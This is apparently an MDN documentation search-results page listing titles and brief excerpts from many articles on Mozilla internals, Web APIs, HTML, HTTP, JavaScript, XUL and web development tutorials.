... macinit(ctxmac); if (rv != secsuccess) return rv; rv = macupdate(ctxmac, ptext, ptextlen); if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; char trailer[40]; char *outstring = null; switch (type) { case symkey: strcpy(header, enckey_header); strcpy(trailer, enckey_trailer); break; case mackey: strcpy(header, mackey_header); strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } pr_fprintf...
...And 17 more matches
NSS sources building testing
because nss depends on the base library nspr, you should download the archive that combines both nss and nspr.
...create a new directory on your computer that you will use as your local work area, and run the following commands.
... hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other.
...And 17 more matches
Tutorial: Embedding Rhino
embedding rhino can be done simply with good results.
... with more effort on the part of the embedder, the objects exposed to scripts can be customized further.
... in this document: runscript: a simple embedding entering a context initializing standard objects collecting the arguments evaluating a script printing the result exiting the context expose java apis using java apis implementing interfaces adding java objects using javascript objects from java using javascript variables calling javascript functions javascript host objects defining host objects counter example counter's constructors class name dynamic properties defining javascript "methods" adding counter to runscript runscript: a simple embedding about the simplest embedding of rhino possible is the runscript example.
...And 17 more matches
JSErrorReport
syntax jserrorreport(); properties name type description filename const char * indicates the source file or url that produced the error condition.
... if null, the error is local to the script in the current html page.
... lineno unsigned line number in the source that caused the error.
...And 17 more matches
JSFastNative
apis such as js_initclass and js_definefunctions can create custom methods that are implemented as c/c++ functions of this type, instead of jsnative.
... syntax typedef jsbool (*jsfastnative)(jscontext *cx, unsigned int argc, jsval *vp); name type description cx jscontext * the context in which the fast native is being called.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
...And 17 more matches
Language bindings
more specifically, an xpcom language binding: enables access to xpcom objects from that language (where access means reading/writing/creating xpcom objects as well as calling methods on them).
... since the xpcom layer itself is written in c/c++, its api can be accessed out-of-the-box using c or c++.
...tive instance of the nsixpccomponents interface which is reflected into javascript as a top level object using xpconnect.components.classescomponents.classes is a read-only object whose properties are classes indexed by contractid.components.classesbyidcomponents.classesbyid is a read-only object whose properties are classes indexed by cid.components.constructorcreates a javascript function which can be used to create or construct new instances of xpcom components.components.exceptioncomponents.exception is a javascript constructor to create nsixpcexception objects.
...And 17 more matches
IAccessibleTable
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) typically all accessible objects that represent cells or cell-clusters of a table will be at the same time children of the table.
... in this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex().
... however, in some cases that kind of implementation will not be possible.
...And 17 more matches
nsIAuthPrompt2
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is usually acquired using getinterface on notification callbacks or similar.
... it can be used to prompt users for authentication information, either synchronously or asynchronously.
...to create an instance, use: var authprompt2 = components.classes["@mozilla.org/login-manager/prompter;1"] .createinstance(components.interfaces.nsiauthprompt2); method overview nsicancelable asyncpromptauth(in nsichannel achannel, in nsiauthpromptcallback acallback, in nsisupports acontext, in pruint32 level, in nsiauthinformation authinfo); boolean promptauth(in nsichannel achannel, in pruint32 level, in nsiauthinformation authinfo); constants constant value description level_none 0 the password will be sent unencrypted.
...And 17 more matches
nsIComponentRegistrar
d(in nscidref aclass); nscidptr contractidtocid(in string acontractid); nsisimpleenumerator enumeratecids(); nsisimpleenumerator enumeratecontractids(); boolean iscidregistered(in nscidref aclass); boolean iscontractidregistered(in string acontractid); void registerfactory(in nscidref aclass, in string aclassname, in string acontractid, in nsifactory afactory); void registerfactorylocation(in nscidref aclass, in string aclassname, in string acontractid, in nsifile afile, in string aloaderstr, in string atype); void unregisterfactory(in nscidref aclass, in nsifactory afactory); void unregisterfactorylocation(in nscidref aclass, in nsifile afile); methods autoregister() register a component (.manifest) file or all component files in a directory.
... registration lasts for this run only, and is not cached.
...this method may only be called from the main thread.
...And 17 more matches
nsICompositionStringSynthesizer
dom/interfaces/base/nsicompositionstringsynthesizer.idlscriptable this interface is a composition string synthesizer interface that synthesizes composition string with arbitrary clauses and a caret 1.0 66 introduced gecko 26 obsolete gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface is obsoleted in gecko 38.
...indow.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.sendcompositionevent("compositionstart", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring().
...compositionstringsynthesizer.appendclause("foo-".length, compositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.appendclause("bar".length, compositionstringsynthesizer.attr_selectedconvertedtext); compositionstringsynthesizer.appendclause("-buzz".length, compositionstringsynthesizer.attr_convertedtext); // set caret position in the composition string.
...And 17 more matches
nsIFocusManager
nsidomelement getfocusedelementforwindow(in nsidomwindow awindow, in prbool adeep, out nsidomwindow afocusedwindow); pruint32 getlastfocusmethod(in nsidomwindow window); void movecarettofocus(in nsidomwindow awindow); void elementisfocusable(in nsidomelement aelement, in unsigned long aflags); nsidomelement movefocus(in nsidomwindow awindow, in nsidomelement astartelement, in unsigned long atype, in unsigned long aflags); void setfocus(in nsidomelement aelement, in unsigned long aflags); void windowhidden(in nsidomwindow awindow); native c...
... attributes attribute type description activewindow nsidomwindow the most active (frontmost) window, or null if no window that is part of the application is active.
...instead, just update the focus within that window and leave the application focus as is.
...And 17 more matches
nsISHEntry
ory-entry;1"] .createinstance(components.interfaces.nsishentry); method overview void addchildshell(in nsidocshelltreeitem shell); nsidocshelltreeitem childshellat(in long index); void clearchildshells(); nsishentry clone(); void create(in nsiuri uri, in astring title, in nsiinputstream inputstream, in nsilayouthistorystate layouthistorystate, in nsisupports cachekey, in acstring contenttype, in nsisupports owner, in unsigned long long docshellid, in boolean dynamiccreation); native code only!
... boolean hasdetachededitor(); violates the xpcom interface guidelines boolean hasdynamicallyaddedchild(); boolean isdynamicallyadded(); void seteditordata(in nsdocshelleditordataptr adata); violates the xpcom interface guidelines void setissubframe(in boolean aflag); void setscrollposition(in long x, in long y); void settitle(in astring atitle); void setuniquedocidentifier(); void seturi(in nsiuri auri); void setviewerbounds(in nsintrect bounds); native code only!
... void syncpresentationstate(); attributes attribute type description cachekey nsisupports set and get the cache key for the entry.
...And 17 more matches
Using the Multiple Accounts API
smtp servers (nsismtpserver): an smtp server is not tied to any of the above and can be retrieved from the smtp service (nsismtpservice).
...news.mozilla.org +- netscape.public.mozilla.announce +- netscape.public.mozilla.mail-news relevant api calls: nsimsgaccount.incomingserver nsimsgaccountmanager.allservers: a list of all servers held by all accounts.
... in the above example, the list of identities would be as follows: alec flett <alecf@mywork.com>) alec flett <alecf@myisp.com>) alec flett <alecfnospam@myisp.com>) relevant api calls: nsimsgaccount.identities nsimsgaccountmanager.allservers: a list of all servers across all accounts storage the accounts are stored in the preferences.
...And 17 more matches
Using COM from js-ctypes
the windows api mostly concerns itself with the interaction between the operating system and an application.
... for communication between the different windows applications among themselves, microsoft has developed a series of technologies alongside the main windows api.
... com is c++ and it cannot be written directly with js-ctypes.
...And 17 more matches
Debugger-API - Firefox Developer Tools
however, debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, patch-and-continue, and so on.
...javascript is both the debuggee language and the tool implementation language, so the qualities that make javascript effective on the web can be brought to bear in crafting tools for developers.
... as is expected of javascript apis, debugger is a sound interface: using (or even misusing) debugger should never cause gecko to crash.
...And 17 more matches
Attr - Web APIs
WebAPIAttr
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
...0" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">attr</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the console.
...see deprecated properties and methods for a complete list.
...And 17 more matches
File and Directory Entries API - Web APIs
the file and directory entries api simulates a local file system that web apps can navigate within and access files in.
... you can develop apps which read, write, and create files and/or directories in a virtual, sandboxed file system.
... because this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it.
...And 17 more matches
Dragging and Dropping Multiple Items - Web APIs
caution: all of the methods and properties with a moz prefix (such as mozsetdataat() are gecko specific interfaces.
...you should add them in order starting with 0 as you cannot add items at positions farther than the last item, however you can replace existing items by using indices you have already added.
... using 0 as the index is equivalent to calling setdata().
...And 17 more matches
Working with the History API - Web APIs
example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
...the popstate event won't be fired because the page has been reloaded.
... note: calling history.back() normally behaves the same way as clicking the back button.
...And 17 more matches
IDBTransaction - Web APIs
you can also use an idbtransaction object to abort transactions.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" s...
... transaction failures transactions can fail for a fixed number of reasons, all of which (except the user agent crash) will trigger an abort callback: abort due to bad requests, e.g.
...And 17 more matches
Transcoding assets for Media Source Extensions - Web APIs
when working with media source extensions, it is likely that you need to condition your assets before you can stream them.
... this article takes you through the requirements and shows you a toolchain you can use to encode your assets appropriately.
...most dash clients expect a corresponding media presentation description (mpd) manifest file, which is typically generated while generating the multiple resolution asset files.
...And 17 more matches
PaymentRequest.PaymentRequest() - Web APIs
starting with more recent browsers, this parameter is more generic than credit cards, it is a single domstring, and the meaning of the data parameter changes with the supportedmethods.
... for example, the basic card payment method is selected by specifying the string basic-card here.
...this has to conform to the type expected by the payment handler indicated by supportedmethods.
...And 17 more matches
RTCIceTransport - Web APIs
gatheringstate read only a domstring indicating which gathering state the ice agent is currently in.
... role read only returns a domstring whose value is one of the members of the rtcicerole enumerated type: "controlling" or "controlled"; this indicates whether the ice agent is the one that makes the final decision as to the candidate pair to use or not.
... state read only a domstring indicating what the current state of the ice agent is.
...And 17 more matches
Selection - Web APIs
WebAPISelection
a selection object represents the range of text selected by the user or the current position of the caret.
... to obtain a selection object for examination or manipulation, call window.getselection().
...the anchor can be placed before the focus or vice-versa, depending on the direction you made your selection.
...And 17 more matches
Sensor APIs - Web APIs
sensor apis concepts and usage although the generic sensor api specification defines a sensor interface, as a web developer you will never use it.
... sensors may or may not correspond exactly to a physical device sensor.
... for example, the gyroscope interface corresponds exactly to a physical device interface.
...And 17 more matches
Streams API - Web APIs
the streams api allows javascript to programmatically access streams of data received over the network and process them as desired by the developer.
... with streams being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob.
... there are more advantages too — you can detect when streams start or end, chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at.
...And 17 more matches
Visualizations with Web Audio API - Web APIs
one of the most interesting features of the web audio api is the ability to extract frequency, waveform, and other data from your audio source, which can then be used to create visualizations.
... this article explains how, and provides a couple of basic use cases.
... note: you can find working examples of all the code snippets in our voice-change-o-matic demo.
...And 17 more matches
XRView - Web APIs
WebAPIXRView
you can think of it as a description of a specific eye or camera and how it views the world.
...the value can also be none if the xrview is presenting monoscopic data (such as a 2d image, a full-screen view of text.
... projectionmatrix read only the projection matrix that will transform the scene to appear correctly given the point-of-view indicated by eye.
...And 17 more matches
ARIA: row role - Accessibility
a group of rows can be nested within a grid, table or treegrid directly, or within a rowgroup in one of those containers.
...these cells can be of different types, depending on whether they are column or row headers, or grid or regular cells.
... a row can contain a number of attributes clarifying the row's role, including aria-colindex, aria-level, aria-rowindex, and aria-selected.
...And 17 more matches
Accessibility and Spacial Patterns - Accessibility
spatial localization nasa conducted research on the perception of color, and found that luminance contrast mattered greatly as to how they were perceived.
... the two images below are from nasa research, specifically, from the article, "designing with blue" "spatial localization.
... symbols which have the same luminance as their background are perceptually less securely located in space and time than are symbols with higher luminance contrast.
...And 17 more matches
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers.
...various bitrate streams are broken into segments and placed in appropriate server folders — we have to provide our media players with a link to lookup files or playlists specifying the name and location of these stream folders.
... the mpd file tells the browser where the various pieces of media are located, it also includes meta data such as mimetype and codecs and there are other details such as byte-ranges in there too - it is an xml document and in many cases will be generated for you.
...And 17 more matches
Making content editable - Developer guides
in html, any element can be editable.
... by using some javascript event handlers, you can transform your web page into a full and fast rich text editor.
...see bug 1449564 and firefox-specific html editing ui has been deprecated for additional details.
...And 17 more matches
Index - Developer guides
WebGuideIndex
you can find compatibility information in the guide to media types and formats on the web.
... 7 adding captions and subtitles to html5 video html5, media, webvtt, captions, subtitles, track in other articles we looked at how to build a cross browser video player using the htmlmediaelement and window.fullscreen apis, and also at how to style the player.
... this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element.
...And 17 more matches
<col> - HTML: Hypertext Markup Language
WebHTMLElementcol
<col> allows styling columns using css, but only a few properties will have an effect on the column (see the css 2.1 specification for a list).
... content categories none.
... permitted parents <colgroup> only, though it can be implicitly defined as its start tag is not mandatory.
...And 17 more matches
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
the element's presentation may vary substantially from one browser and/or platform to another—it might be a simple textual input that automatically validates to ensure that the color information is entered in the proper format, or a platform-standard color picker, or some kind of custom color picker window.
... value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character string specifying an rgb color in hexadecimal format.
... while you can input the color in either upper- or lower-case, it will be stored in lower-case form.
...And 17 more matches
Content-Security-Policy - HTTP
directives fetch directives fetch directives control the locations from which certain resource types may be loaded.
... connect-src restricts the urls which can be loaded using script interfaces default-src serves as a fallback for the other fetch directives.
... manifest-src specifies valid sources of application manifest files.
...And 17 more matches
HTTP Messages - HTTP
WebHTTPMessages
a blank line indicating all meta-information for the request has been sent.
...for example, get indicates that a resource should be fetched or post means that data is pushed to the server (creating or modifying a resource, or generating a temporary document to send back).
...it can be an absolute path, ultimately followed by a '?' and query string.
...And 17 more matches
Protocol upgrade mechanism - HTTP
the http/1.1 protocol provides a special mechanism that can be used to upgrade an already established connection to a different protocol, using the upgrade header field.
... this mechanism is optional; it cannot be used to insist on a protocol change.
... implementations can choose not to take advantage of an upgrade even if they support the new protocol, and in practice, this mechanism is used mostly to bootstrap a websockets connection.
...And 17 more matches
Groups and ranges - JavaScript
groups and ranges indicate groups and ranges of expression characters.
... types the following section is also duplicated on this cheatsheet.
...you can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character.
...And 17 more matches
Promise.prototype.then() - JavaScript
it takes up to two arguments: callback functions for the success and failure cases of the promise.
...if the promise that then is called on adopts a state (fulfillment or rejection) for which then has no handler, the returned promise simply adopts the final state of the original promise on which then was called.
... syntax p.then(onfulfilled[, onrejected]); p.then(value => { // fulfillment }, reason => { // rejection }); parameters onfulfilled optional a function called if the promise is fulfilled.
...And 17 more matches
Destructuring assignment - JavaScript
const x = [1, 2, 3, 4, 5]; const [y, z] = x; console.log(y); // 1 console.log(z); // 2 this capability is similar to features present in languages such as perl and python.
... examples array destructuring basic variable assignment const foo = ['one', 'two', 'three']; const [red, yellow, green] = foo; console.log(red); // "one" console.log(yellow); // "two" console.log(green); // "three" assignment separate from declaration a variable can be assigned its value via destructuring separate from the variable's declaration.
... let a, b; [a, b] = [1, 2]; console.log(a); // 1 console.log(b); // 2 default values a variable can be assigned a default, in the case that the value unpacked from the array is undefined.
...And 17 more matches
import - JavaScript
the import statement cannot be used in embedded scripts unless such script has a type="module".
... bindings imported are called live bindings because they are updated by the module that exported the binding.
... backward compatibility can be ensured using attribute nomodule on the <script> tag.
...And 17 more matches
JavaScript typed arrays - JavaScript
as you may already know, array objects grow and shrink dynamically and can have any javascript value.
... however, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... however, typed arrays are not to be confused with normal arrays, as calling array.isarray() on a typed array returns false.
...And 17 more matches
Digital video concepts - Web media technologies
the name "yuv" is generally used today to describe this color system, even though the term was originally used specifically for analog coding of color, while ycbcr was used for digital color.
...the prime symbol, ', indicates that gamma compression is being used.
... contemplating human vision we're able to represent an image this way because the human eye sees far more detail in greyscale than in color, thanks to biology.
...And 17 more matches
Index - XPath
WebXPathIndex
it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.
... 4 ancestor-or-self axe, xpath the ancestor-or-self axis indicates the context node and all of its ancestors, including the root node.
... 5 attribute axe, xpath the attribute axis indicates the attributes of the context node.
...And 17 more matches
simple-prefs - Archive of obsolete content
experimental store preferences across application restarts.
... you can store booleans, integers, and string values, and users can configure these preferences in the add-ons manager.
... usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ...
...And 16 more matches
simple-storage - Archive of obsolete content
usage the simple storage module exports an object called storage that is persistent and scoped to your add-on.
... it's a normal javascript object, and you can treat it as you would any other.
... to store a value, just assign it to a property on storage: var ss = require("sdk/simple-storage"); ss.storage.myarray = [1, 1, 2, 3, 5, 8, 13]; ss.storage.myboolean = true; ss.storage.mynull = null; ss.storage.mynumber = 3.1337; ss.storage.myobject = { a: "foo", b: { c: true }, d: null }; ss.storage.mystring = "o frabjous day!"; you can store array, boolean, number, object, null, and string values.
...And 16 more matches
Miscellaneous - Archive of obsolete content
var osstring = services.appinfo.os; detecting the host application and version // get the name of the application running us services.appinfo.name; // returns "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my exte...
...nsion's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the application.
... you can listen to mouse wheel click events just like normal click events (via mousedown and mouseup events).
...And 16 more matches
Jetpack Processes - Archive of obsolete content
jetpack processes are created by components that implement the nsijetpackservice interface, and their parent chrome process communicates with them via the nsijetpack interface.
...these processes are relatively lightweight, do not have access to xpcom, and can innately do little other than compute.
... messaging facilities that allow them to communicate with their parent chrome process are the only means by which they can be endowed with any real power.
...And 16 more matches
Signing an extension - Archive of obsolete content
this article describes how to digitally sign your extension for firefox and thunderbird, with a code signing certificate for object signing.
... these instructions assume you're working on mac and you've already got a valid certificate from ca.
...this can be easily installed with macports.
...And 16 more matches
No Proxy For configuration - Archive of obsolete content
because the public network was small in scope and connections were slow, a caching proxy could often improve the overall performance.
...in almost all cases, pac gives better control and flexibility.
...the field is relatively short, but can hold reasonably long (2k+ characters) entries.
...And 16 more matches
In-Depth - Archive of obsolete content
a list of the different operating system colours can be found on the w3c's web site.
..., menulist-button, menulist, menulist-text, progressbar, progresschunk, radio-container, radio, resizer, resizerpanel, separator, scrollbar, statusbar, statusbarpanel, toolbarbutton, toolbox, toolbar, treeheadercell, treeheadersortarrow, treeview, treeitem, treetwisty, treetwistyopen, tooltip, textfield, tabpanels, tab, tab-left-edge, tab-right-edge, scrollbartrack-horizontal, scrollbartrack-vertical, scrollbarthumb-vertical, scrollbarthumb-horizontal, scrollbarbutton-right, scrollbarbutton-down, scrollbarbutton-left, scrollbarbutton-up, scrollbargripper-vertical, scrollbargripper-horizontal -moz-border-bottom-colors defines a series of colours.
...if you specify one px/% value, it will apply it to all the corners, or you can specify 4 values (separated by a space) and have each corner different.
...And 16 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
this is determined in nstextfragment::setto the page includes a element with the attribute dir=rtl, either explicitly (nsgenerichtmlelement::mapcommonattributesinto), or as a consequence of a style rule (mapdeclarationtextinto in nscssstylerule.cpp) all these cases use nsdocument::enablebidi to set the flag mbidienabled.
... in a bidi-enabled document, the following things happen: during a reflow, nsbidipresutils::resolve is called.
... framemanager::setframeproperty is used to set the following flags and pointers (for terminology see the specification of the uba): embeddinglevel: the embedding level of the frame textclass: the text class of the frame.
...And 16 more matches
Monitoring downloads - Archive of obsolete content
try to avoid using it.this interface is deprecated as of firefox 26.
...the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since you installed the extension.
...dbfile.append("downloadlogger.sqlite"); // get access to the storage service and open the database this.storageservice = components.classes["@mozilla.org/storage/service;1"] .getservice(components.interfaces.mozistorageservice); var dbconn = this.storageservice.opendatabase(this.dbfile); // now create the table; if it already exists, this fails, but we don't care!
...And 16 more matches
Running Tamarin acceptance tests - Archive of obsolete content
the tamarin acceptance tests can be used to verify your installation and or local changes that you have made to the source.
...the latest asc.jar can be downloaded from from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar.
...$ export shellabc=/users/build/hg/tamarin-redux/generated/shell_toplevel.abc $ export avm=/users/build/hg/tamarin-redux/objdir-release/shell/avmshell $ python runtests.py tamarin tests started: 2010-09-28 10:37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/avmshell_64 2532 running abcasm/abs_helper.as skipping...
...And 16 more matches
Reading from Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...using the former will cause characters in the stream to be interpreted with a particular character encoding.
...in this case, the file 'sample.txt' within the user's home directory is retrieved.
...And 16 more matches
Special per-platform menu considerations - Archive of obsolete content
for instance, the edit menu always starts with the undo command if such a feature is available in the application, followed by redo, cut, copy, paste, and so forth.
... some menu items have specific common labels or locations where certain menu items would go that differ on each platform.
... for instance, on windows, the menu item which exits the application is labeled "exit" and is normally placed at the end of the file menu.
...And 16 more matches
Result Generation - Archive of obsolete content
rdf, in mathematical terms, is a labeled directed graph.
...since it's a graph, arrows can point all over the place and nodes can have any number of arrows pointing out of them and pointing at them.
... and also because it is a graph, there is no real starting point or root node so you can just start anywhere.
...And 16 more matches
Special Condition Tests - Archive of obsolete content
for the bookmarks toolbar, the outer content is inserted into an <hbox>, but at lower levels, the content will be inserted into a <menu> in case you aren't clear, the tag that must match for the outer iteration is the root element, the one with the datasources attribute on it.
...here is a previous example, rewritten to use the parent matching syntax: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <rule parent="vbox"> <action> <groupbox uri="?"> <caption label="?name"/> </groupbox> </action> </rule> <rule> <action> <label uri="?" value="?name"/> </action> </rule> </template> </vbox> previously, an assign element was used to assign the tagname of the result to a variable, which was then compared in a rule condition.
...this causes the rule to match only content that would be inserted in a vbox element.
...And 16 more matches
Box Model Details - Archive of obsolete content
more layout details the style properties such as min-width and max-height can be applied to any element.
... we've added them to buttons and textboxes, but we can also add them to spacers or boxes.
... in addition, the flex attribute can be applied to any element.
...And 16 more matches
Introduction to RDF - Archive of obsolete content
resource description framework we can use the tree elements to display a set of data, such as bookmarks or mail messages.
...rdf (resource description framework) is a format that can be used to store resources such as bookmarks or mail.
... alternatively, data in other formats can be used and code written that will read the file and create rdf data from it.
...And 16 more matches
Property Files - Archive of obsolete content
« previousnext » in a script, entities cannot be used.
...for this purpose, property files can be used.
...a property file can also include comments.
...And 16 more matches
Updating Commands - Archive of obsolete content
invoking commands if a command has an oncommand attribute, you can invoke it just by using the docommand method of the command or an element which links to it.
...in addition, you will need to do this when creating your own menu commands, for instance to implement the edit menu commands in your own application.
...all we need to do is get the needed controller and call the command.
...And 16 more matches
XPCOM Examples - Archive of obsolete content
creating a window menu the list of currently open mozilla windows can be used as an rdf datasource.
... this allows you to create a window menu with a list of the currently open windows in the application.
...we can use this as in the following example: example 1 : source <toolbox> <menubar id="windowlist-menubar"> <menu label="window"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> a window menu will be created with a list of all the open windows.
...And 16 more matches
XUL Event Propagation - Archive of obsolete content
in this case, the event raised was the "click" event, but a variety of events can be raised by the button element.
...this is the case in the example code in the diagram, where the onclick event listener for the button element handles the click event by displaying a simple alert dialog: <button value="click me" onclick="alert('thank you')" /> the opposite of event bubbling is event capturing.
... where event bubbling propagates an event from its target up higher into the node hiearchy, event capturing intercepts an event before it is received by other elements, even by the event target itself.
...And 16 more matches
timepicker - Archive of obsolete content
to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers.
... attributes disabled, hideseconds, increment, readonly, tabindex, value properties amindicator, datevalue, disabled, hideseconds, hour, hourleadingzero, increment, is24hourclock, ispm, minute, minuteleadingzero, pmindicator, readonly, second, secondleadingzero, tabindex, value examples <timepicker value="12:05"/> attributes disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 16 more matches
Threats - Archive of obsolete content
this article discusses threats, explaining what they are and how they can affect network traffic.
... a threat is any circumstance or event with the potential to adversely impact data or systems via unauthorized access, destruction, disclosure, or modification of information, and/or denial of service.
... threats may involve intentional actors (e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee.) threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area.
...And 16 more matches
XForms Switch Module - Archive of obsolete content
introduction xforms switch module define a switch construct that allows the creation of user interfaces where the user interface can be varied based on user actions and events.
... the module defines for this switch, case and toggle elements.
... switch element the element (see the spec) is used in conjunction with case and toggle elements.
...And 16 more matches
Examples - Game development
a testament to what can be done with javascript, webgl, and related technologies.
... the first two sections list playable games, while the second is a catch-all area to list demos that aren't necessarily interactive/games.
... tanx a multiplayer tank battle game, created with playcanvas.
...And 16 more matches
Introduction to game development for the Web - Game development
the range of games that can be created is on par with desktop and native os counterparts.
...and we're not talking about simple card games or multi-player social games that have in the olden days been done using flash®.
...thanks to massive performance improvements in javascript just-in-time compiler technology and new apis, you can build games that run in the browser (or on html5-powered devices) without making compromises.
...And 16 more matches
Mobile touch controls - Game development
note: the game captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascript.
... pure javascript approach we could implement touch events on our own — setting up event listeners and assigning relevant functions to them would be quite straightforward: var el = document.getelementsbytagname("canvas")[0]; el.addeventlistener("touchstart", handlestart); el.addeventlistener("touchmove", handlemove); el.addeventlistener("touchend", handleend); el.addeventlistener("touchcancel", handlecancel); this way, touching the game's <canvas> on the mobile screen would emit events, and thus we could manipulate the game in any way we want (for example, moving the space ship around).
... touchmove is fired when they move the finger on the screen while touching it touchend is fired when the user stops touching the screen touchcancel is fired when a touch is cancelled, for example when the user moves their finger outside of the screen.
...And 16 more matches
Floats - Learn web development
previous overview: css layout next originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages.
... but web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps.
...you can follow along by creating a new index.html file on your computer, filling it with a simple html template, and inserting the below code into it at the appropriate places.
...And 16 more matches
CSS basics - Learn web development
previous overview: getting started with the web next css (cascading style sheets) is the code that styles web content.
...how do i make content display at a certain location in the (webpage) layout?
... anatomy of a css ruleset let's dissect the css code for red paragraph text to understand how it works : the whole structure is called a ruleset.
...And 16 more matches
Dealing with files - Learn web development
when you're building a website, you need to assemble these files into a sensible structure on your local computer, make sure they can talk to one another, and get all your content looking right before you eventually upload them to a server.
... dealing with files discusses some issues you should be aware of so you can set up a sensible file structure for your website.
... when you are working on a website locally on your computer, you should keep all the related files in a single folder that mirrors the published website's file structure on the server.
...And 16 more matches
Test your skills: Strings - Learn web development
